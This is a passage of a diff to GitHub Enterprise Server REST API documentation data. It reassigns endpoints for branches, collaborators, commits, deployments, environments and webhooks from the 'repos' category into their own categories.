     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Replaces the list of people that have push access to this branch. This removes all people that previously had push access and grants push access to the new list of people.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>Usernames for people who can have push access. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -42397,10 +42393,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-user-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Removes the ability of a user to push to this branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>Usernames of the people who should no longer have push access. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -42523,10 +42519,8 @@
       "subcategory": "branches"
     },
     "slug": "rename-a-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Renames a branch in a repository.</p>\n<p><strong>Note:</strong> Although the API responds immediately, the branch rename process might take some extra time to complete in the background. You won't be able to push to the old branch name while the rename process is in progress. For more information, see \"<a href=\"https://docs.github.com/enterprise-server@3.2/github/administering-a-repository/renaming-a-branch\">Renaming a branch</a>\".</p>\n<p>The permissions required to use this endpoint depends on whether you are renaming the default branch.</p>\n<p>To rename a non-default branch:</p>\n<ul>\n<li>Users must have push access.</li>\n<li>GitHub Apps must have the <code>contents:write</code> repository permission.</li>\n</ul>\n<p>To rename the default branch:</p>\n<ul>\n<li>Users must have admin or owner permissions.</li>\n<li>GitHub Apps must have the <code>administration:write</code> repository permission.</li>\n</ul>",
@@ -48785,10 +48779,8 @@
       "subcategory": "collaborators"
     },
     "slug": "list-repository-collaborators",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>For organization-owned repositories, the list of collaborators includes outside collaborators, organization members that are direct collaborators, organization members with access through team memberships, organization members with access through default organization permissions, and organization owners.</p>\n<p>Team members will include the members of child teams.</p>\n<p>You must have push access to the repository in order to list collaborators.</p>",
@@ -48868,10 +48860,8 @@
       "subcategory": "collaborators"
     },
     "slug": "check-if-a-user-is-a-repository-collaborator",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "notes": [],
     "responses": [
       {
@@ -48989,10 +48979,8 @@
       "subcategory": "collaborators"
     },
     "slug": "add-a-repository-collaborator",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>This endpoint triggers <a href=\"https://docs.github.com/en/github/managing-subscriptions-and-notifications-on-github/about-notifications\">notifications</a>. Creating content too quickly using this endpoint may result in secondary rate limiting. See \"<a href=\"https://docs.github.com/enterprise-server@3.2/rest/overview/resources-in-the-rest-api#secondary-rate-limits\">Secondary rate limits</a>\" and \"<a href=\"https://docs.github.com/enterprise-server@3.2/rest/guides/best-practices-for-integrators#dealing-with-secondary-rate-limits\">Dealing with secondary rate limits</a>\" for details.</p>\n<p>For more information on permission levels, see \"<a href=\"https://help.github.com/en/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization#permission-levels-for-repositories-owned-by-an-organization\">Repository permission levels for an organization</a>\". There are restrictions on which permissions can be granted to organization members when an organization base role is in place. In this case, the permission being given must be equal to or higher than the org base permission. Otherwise, the request will fail with:</p>\n<pre><code>Cannot assign {member} permission of {role name}\n</code></pre>\n<p>Note that, if you choose not to pass any parameters, you'll need to set <code>Content-Length</code> to zero when calling out to this endpoint. For more information, see \"<a href=\"https://docs.github.com/enterprise-server@3.2/rest/overview/resources-in-the-rest-api#http-verbs\">HTTP verbs</a>.\"</p>\n<p>The invitee will receive a notification that they have been invited to the repository, which they must accept or decline. They may do this via the notifications page, the email they receive, or by using the <a href=\"https://docs.github.com/enterprise-server@3.2/rest/reference/repos#invitations\">repository invitations API endpoints</a>.</p>\n<p><strong>Rate limits</strong></p>\n<p>You are limited to sending 50 invitations to a repository per 24 hour period. Note there is no limit if you are inviting organization members to an organization repository.</p>",
@@ -49110,10 +49098,8 @@
       "subcategory": "collaborators"
     },
     "slug": "remove-a-repository-collaborator",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -49187,10 +49173,8 @@
       "subcategory": "collaborators"
     },
     "slug": "get-repository-permissions-for-a-user",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Checks the repository permission of a collaborator. The possible repository permissions are <code>admin</code>, <code>write</code>, <code>read</code>, and <code>none</code>.</p>",
@@ -49288,8 +49272,8 @@
       ]
     },
     "slug": "list-commit-comments-for-a-repository",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "notes": [],
@@ -49374,8 +49358,8 @@
       ]
     },
     "slug": "get-a-commit-comment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "notes": [],
@@ -49485,8 +49469,8 @@
       "subcategory": "comments"
     },
     "slug": "update-a-commit-comment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "contentType": "application/json",
@@ -49580,8 +49564,8 @@
       "subcategory": "comments"
     },
     "slug": "delete-a-commit-comment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "notes": [],
@@ -50101,10 +50085,8 @@
       "subcategory": "commits"
     },
     "slug": "list-commits",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p><strong>Signature verification object</strong></p>\n<p>The response will include a <code>verification</code> object that describes the result of verifying the commit's signature. The following fields are included in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Name</th><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>verified</code></td><td><code>boolean</code></td><td>Indicates whether GitHub considers the signature in this commit to be verified.</td></tr><tr><td><code>reason</code></td><td><code>string</code></td><td>The reason for verified value. Possible values and their meanings are enumerated in table below.</td></tr><tr><td><code>signature</code></td><td><code>string</code></td><td>The signature that was extracted from the commit.</td></tr><tr><td><code>payload</code></td><td><code>string</code></td><td>The value that was signed.</td></tr></tbody></table>\n<p>These are the possible values for <code>reason</code> in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Value</th><th>Description</th></tr></thead><tbody><tr><td><code>expired_key</code></td><td>The key that made the signature is expired.</td></tr><tr><td><code>not_signing_key</code></td><td>The \"signing\" flag is not among the usage flags in the GPG key that made the signature.</td></tr><tr><td><code>gpgverify_error</code></td><td>There was an error communicating with the signature verification service.</td></tr><tr><td><code>gpgverify_unavailable</code></td><td>The signature verification service is currently unavailable.</td></tr><tr><td><code>unsigned</code></td><td>The object does not include a signature.</td></tr><tr><td><code>unknown_signature_type</code></td><td>A non-PGP signature was found in the commit.</td></tr><tr><td><code>no_user</code></td><td>No user was associated with the <code>committer</code> email address in the commit.</td></tr><tr><td><code>unverified_email</code></td><td>The <code>committer</code> email address in the commit was associated with a user, but the email address is not verified on her/his account.</td></tr><tr><td><code>bad_email</code></td><td>The <code>committer</code> email address in the commit is not included in the identities of the PGP key that made the signature.</td></tr><tr><td><code>unknown_key</code></td><td>The key that made the signature has not been registered with any user's account.</td></tr><tr><td><code>malformed_signature</code></td><td>There was an error parsing the signature.</td></tr><tr><td><code>invalid</code></td><td>The signature could not be cryptographically verified using the key whose key-id was found in the signature.</td></tr><tr><td><code>valid</code></td><td>None of the above errors applied, so the signature is considered to be verified.</td></tr></tbody></table>",
@@ -50208,10 +50190,8 @@
       ]
     },
     "slug": "list-branches-for-head-commit",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Returns all branches where the given commit SHA is the HEAD, or latest commit for the branch.</p>",
@@ -50320,8 +50300,8 @@
       ]
     },
     "slug": "list-commit-comments",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "notes": [],
@@ -50458,8 +50438,8 @@
       "subcategory": "comments"
     },
     "slug": "create-a-commit-comment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "contentType": "application/json",
@@ -50613,10 +50593,8 @@
       ]
     },
     "slug": "list-pull-requests-associated-with-a-commit",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Lists the merged pull request that introduced the commit to the repository. If the commit is not present in the default branch, additionally returns open pull requests associated with the commit. The results may include open and closed pull requests. Additional preview headers may be required to see certain details for associated pull requests, such as whether a pull request is in a draft state. For more information about previews that might affect this endpoint, see the <a href=\"https://docs.github.com/enterprise-server@3.2/rest/reference/pulls#list-pull-requests\">List pull requests</a> endpoint.</p>",
@@ -50713,10 +50691,8 @@
       "subcategory": "commits"
     },
     "slug": "get-a-commit",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Returns the contents of a single commit reference. You must have <code>read</code> access for the repository to use this endpoint.</p>\n<p><strong>Note:</strong> If there are more than 300 files in the commit diff, the response will include pagination link headers for the remaining files, up to a limit of 3000 files. Each page contains the static commit information, and the only changes are to the file listing.</p>\n<p>You can pass the appropriate <a href=\"https://docs.github.com/enterprise-server@3.2/rest/overview/media-types/#commits-commit-comparison-and-pull-requests\">media type</a> to  fetch <code>diff</code> and <code>patch</code> formats. Diffs with binary data will have no <code>patch</code> property.</p>\n<p>To return only the SHA-1 hash of the commit reference, you can provide the <code>sha</code> custom <a href=\"https://docs.github.com/enterprise-server@3.2/rest/overview/media-types/#commits-commit-comparison-and-pull-requests\">media type</a> in the <code>Accept</code> header. You can use this endpoint to check if a remote reference's SHA-1 hash is the same as your local reference's SHA-1 hash by providing the local SHA-1 reference as the ETag.</p>\n<p><strong>Signature verification object</strong></p>\n<p>The response will include a <code>verification</code> object that describes the result of verifying the commit's signature. The following fields are included in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Name</th><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>verified</code></td><td><code>boolean</code></td><td>Indicates whether GitHub considers the signature in this commit to be verified.</td></tr><tr><td><code>reason</code></td><td><code>string</code></td><td>The reason for verified value. Possible values and their meanings are enumerated in table below.</td></tr><tr><td><code>signature</code></td><td><code>string</code></td><td>The signature that was extracted from the commit.</td></tr><tr><td><code>payload</code></td><td><code>string</code></td><td>The value that was signed.</td></tr></tbody></table>\n<p>These are the possible values for <code>reason</code> in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Value</th><th>Description</th></tr></thead><tbody><tr><td><code>expired_key</code></td><td>The key that made the signature is expired.</td></tr><tr><td><code>not_signing_key</code></td><td>The \"signing\" flag is not among the usage flags in the GPG key that made the signature.</td></tr><tr><td><code>gpgverify_error</code></td><td>There was an error communicating with the signature verification service.</td></tr><tr><td><code>gpgverify_unavailable</code></td><td>The signature verification service is currently unavailable.</td></tr><tr><td><code>unsigned</code></td><td>The object does not include a signature.</td></tr><tr><td><code>unknown_signature_type</code></td><td>A non-PGP signature was found in the commit.</td></tr><tr><td><code>no_user</code></td><td>No user was associated with the <code>committer</code> email address in the commit.</td></tr><tr><td><code>unverified_email</code></td><td>The <code>committer</code> email address in the commit was associated with a user, but the email address is not verified on her/his account.</td></tr><tr><td><code>bad_email</code></td><td>The <code>committer</code> email address in the commit is not included in the identities of the PGP key that made the signature.</td></tr><tr><td><code>unknown_key</code></td><td>The key that made the signature has not been registered with any user's account.</td></tr><tr><td><code>malformed_signature</code></td><td>There was an error parsing the signature.</td></tr><tr><td><code>invalid</code></td><td>The signature could not be cryptographically verified using the key whose key-id was found in the signature.</td></tr><tr><td><code>valid</code></td><td>None of the above errors applied, so the signature is considered to be verified.</td></tr></tbody></table>",
@@ -51098,8 +51074,8 @@
       "subcategory": "statuses"
     },
     "slug": "get-the-combined-status-for-a-specific-reference",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "statuses",
     "subcategoryLabel": "Statuses",
     "notes": [],
@@ -51203,8 +51179,8 @@
       "subcategory": "statuses"
     },
     "slug": "list-commit-statuses-for-a-reference",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "statuses",
     "subcategoryLabel": "Statuses",
     "notes": [],
@@ -51307,10 +51283,8 @@
       "subcategory": "commits"
     },
     "slug": "compare-two-commits",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>The <code>basehead</code> param is comprised of two parts: <code>base</code> and <code>head</code>. Both must be branch names in <code>repo</code>. To compare branches across other repositories in the same network as <code>repo</code>, use the format <code>&lt;USERNAME&gt;:branch</code>.</p>\n<p>The response from the API is equivalent to running the <code>git log base..head</code> command; however, commits are returned in chronological order. Pass the appropriate <a href=\"https://docs.github.com/enterprise-server@3.2/rest/overview/media-types/#commits-commit-comparison-and-pull-requests\">media type</a> to fetch diff and patch formats.</p>\n<p>The response also includes details on the files that were changed between the two commits. This includes the status of the change (for example, if a file was added, removed, modified, or renamed), and details of the change itself. For example, files with a <code>renamed</code> status have a <code>previous_filename</code> field showing the previous filename of the file, and files with a <code>modified</code> status have a <code>patch</code> field showing the changes made to the file.</p>\n<p><strong>Working with large comparisons</strong></p>\n<p>To process a response with a large number of commits, you can use (<code>per_page</code> or <code>page</code>) to paginate the results. When using paging, the list of changed files is only returned with page 1, but includes all changed files for the entire comparison. For more information on working with pagination, see \"<a href=\"/rest/guides/traversing-with-pagination\">Traversing with pagination</a>.\"</p>\n<p>When calling this API without any paging parameters (<code>per_page</code> or <code>page</code>), the returned list is limited to 250 commits and the last commit in the list is the most recent of the entire comparison. When a paging parameter is specified, the first commit in the returned list of each page is the earliest.</p>\n<p><strong>Signature verification object</strong></p>\n<p>The response will include a <code>verification</code> object that describes the result of verifying the commit's signature. The following fields are included in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Name</th><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>verified</code></td><td><code>boolean</code></td><td>Indicates whether GitHub considers the signature in this commit to be verified.</td></tr><tr><td><code>reason</code></td><td><code>string</code></td><td>The reason for verified value. Possible values and their meanings are enumerated in table below.</td></tr><tr><td><code>signature</code></td><td><code>string</code></td><td>The signature that was extracted from the commit.</td></tr><tr><td><code>payload</code></td><td><code>string</code></td><td>The value that was signed.</td></tr></tbody></table>\n<p>These are the possible values for <code>reason</code> in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Value</th><th>Description</th></tr></thead><tbody><tr><td><code>expired_key</code></td><td>The key that made the signature is expired.</td></tr><tr><td><code>not_signing_key</code></td><td>The \"signing\" flag is not among the usage flags in the GPG key that made the signature.</td></tr><tr><td><code>gpgverify_error</code></td><td>There was an error communicating with the signature verification service.</td></tr><tr><td><code>gpgverify_unavailable</code></td><td>The signature verification service is currently unavailable.</td></tr><tr><td><code>unsigned</code></td><td>The object does not include a signature.</td></tr><tr><td><code>unknown_signature_type</code></td><td>A non-PGP signature was found in the commit.</td></tr><tr><td><code>no_user</code></td><td>No user was associated with the <code>committer</code> email address in the commit.</td></tr><tr><td><code>unverified_email</code></td><td>The <code>committer</code> email address in the commit was associated with a user, but the email address is not verified on her/his account.</td></tr><tr><td><code>bad_email</code></td><td>The <code>committer</code> email address in the commit is not included in the identities of the PGP key that made the signature.</td></tr><tr><td><code>unknown_key</code></td><td>The key that made the signature has not been registered with any user's account.</td></tr><tr><td><code>malformed_signature</code></td><td>There was an error parsing the signature.</td></tr><tr><td><code>invalid</code></td><td>The signature could not be cryptographically verified using the key whose key-id was found in the signature.</td></tr><tr><td><code>valid</code></td><td>None of the above errors applied, so the signature is considered to be verified.</td></tr></tbody></table>",
@@ -52797,10 +52771,8 @@
       ]
     },
     "slug": "list-deployments",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Simple filtering of deployments is available via query parameters:</p>",
@@ -53010,10 +52982,8 @@
       ]
     },
     "slug": "create-a-deployment",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Deployments offer a few configurable parameters with certain defaults.</p>\n<p>The <code>ref</code> parameter can be any named branch, tag, or SHA. At GitHub Enterprise Server we often deploy branches and verify them\nbefore we merge a pull request.</p>\n<p>The <code>environment</code> parameter allows deployments to be issued to different runtime environments. Teams often have\nmultiple environments for verifying their applications, such as <code>production</code>, <code>staging</code>, and <code>qa</code>. This parameter\nmakes it easier to track which environments have requested deployments. The default environment is <code>production</code>.</p>\n<p>The <code>auto_merge</code> parameter is used to ensure that the requested ref is not behind the repository's default branch. If\nthe ref <em>is</em> behind the default branch for the repository, we will attempt to merge it for you. If the merge succeeds,\nthe API will return a successful merge commit. If merge conflicts prevent the merge from succeeding, the API will\nreturn a failure response.</p>\n<p>By default, <a href=\"https://docs.github.com/enterprise-server@3.2/rest/reference/repos#statuses\">commit statuses</a> for every submitted context must be in a <code>success</code>\nstate. The <code>required_contexts</code> parameter allows you to specify a subset of contexts that must be <code>success</code>, or to\nspecify contexts that have not yet been submitted. You are not required to use commit statuses to deploy. If you do\nnot require any contexts or create any commit statuses, the deployment will always succeed.</p>\n<p>The <code>payload</code> parameter is available for any extra information that a deployment system might need. It is a JSON text\nfield that will be passed on when a deployment event is dispatched.</p>\n<p>The <code>task</code> parameter is used by the deployment system to allow different execution paths. In the web world this might\nbe <code>deploy:migrations</code> to run schema changes on the system. In the compiled world this could be a flag to compile an\napplication with debugging enabled.</p>\n<p>Users with <code>repo</code> or <code>repo_deployment</code> scopes can create a deployment for a given ref.</p>\n<h4 id=\"merged-branch-response\"><a aria-hidden=\"\" tabindex=\"-1\" class=\"doctocat-link\" href=\"#merged-branch-response\"><svg aria-hidden=\"\" role=\"img\" class=\"octicon-link\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:middle\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Merged branch response</h4>\n<p>You will see this response when GitHub automatically merges the base branch into the topic branch instead of creating\na deployment. This auto-merge happens when:</p>\n<ul>\n<li>Auto-merge option is enabled in the repository</li>\n<li>Topic branch does not include the latest changes on the base branch, which is <code>master</code> in the response example</li>\n<li>There are no merge conflicts</li>\n</ul>\n<p>If there are no new commits in the base branch, a new request to create a deployment should give a successful\nresponse.</p>\n<h4 id=\"merge-conflict-response\"><a aria-hidden=\"\" tabindex=\"-1\" class=\"doctocat-link\" href=\"#merge-conflict-response\"><svg aria-hidden=\"\" role=\"img\" class=\"octicon-link\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:middle\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Merge conflict response</h4>\n<p>This error happens when the <code>auto_merge</code> option is enabled and when the default branch (in this case <code>master</code>), can't\nbe merged into the branch that's being deployed (in this case <code>topic-branch</code>), due to merge conflicts.</p>\n<h4 id=\"failed-commit-status-checks\"><a aria-hidden=\"\" tabindex=\"-1\" class=\"doctocat-link\" href=\"#failed-commit-status-checks\"><svg aria-hidden=\"\" role=\"img\" class=\"octicon-link\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:middle\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Failed commit status checks</h4>\n<p>This error happens when the <code>required_contexts</code> parameter indicates that one or more contexts need to have a <code>success</code>\nstatus for the commit to be deployed, but one or more of the required contexts do not have a state of <code>success</code>.</p>",
@@ -53218,10 +53188,8 @@
       ]
     },
     "slug": "get-a-deployment",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -53302,10 +53270,8 @@
       "subcategory": "deployments"
     },
     "slug": "delete-a-deployment",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "notes": [],
     "responses": [
       {
@@ -53422,10 +53388,10 @@
       ]
     },
     "slug": "list-deployment-statuses",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
+    "subcategory": "statuses",
+    "subcategoryLabel": "Statuses",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Users with pull access can view deployment statuses for a deployment:</p>",
@@ -53620,10 +53586,10 @@
       ]
     },
     "slug": "create-a-deployment-status",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
+    "subcategory": "statuses",
+    "subcategoryLabel": "Statuses",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Users with <code>push</code> access can create deployment statuses for a given deployment.</p>\n<p>GitHub Apps require <code>read &#x26; write</code> access to \"Deployments\" and <code>read-only</code> access to \"Repo contents\" (for private repos). OAuth Apps require the <code>repo_deployment</code> scope.</p>",
@@ -53808,10 +53774,10 @@
       ]
     },
     "slug": "get-a-deployment-status",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
+    "subcategory": "statuses",
+    "subcategoryLabel": "Statuses",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Users with pull access can view a deployment status for a deployment:</p>",
@@ -54021,8 +53987,8 @@
       "subcategory": "environments"
     },
     "slug": "get-all-environments",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "environments",
     "subcategoryLabel": "Environments",
     "notes": [],
@@ -54100,8 +54066,8 @@
       "subcategory": "environments"
     },
     "slug": "get-an-environment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "environments",
     "subcategoryLabel": "Environments",
     "notes": [],
@@ -54334,8 +54300,8 @@
       "subcategory": "environments"
     },
     "slug": "create-or-update-an-environment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "environments",
     "subcategoryLabel": "Environments",
     "contentType": "application/json",
@@ -54561,8 +54527,8 @@
       "subcategory": "environments"
     },
     "slug": "delete-an-environment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "environments",
     "subcategoryLabel": "Environments",
     "notes": [],
@@ -57294,10 +57260,10 @@
       "subcategory": "webhooks"
     },
     "slug": "list-repository-webhooks",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -57580,10 +57546,10 @@
       "subcategory": "webhooks"
     },
     "slug": "create-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
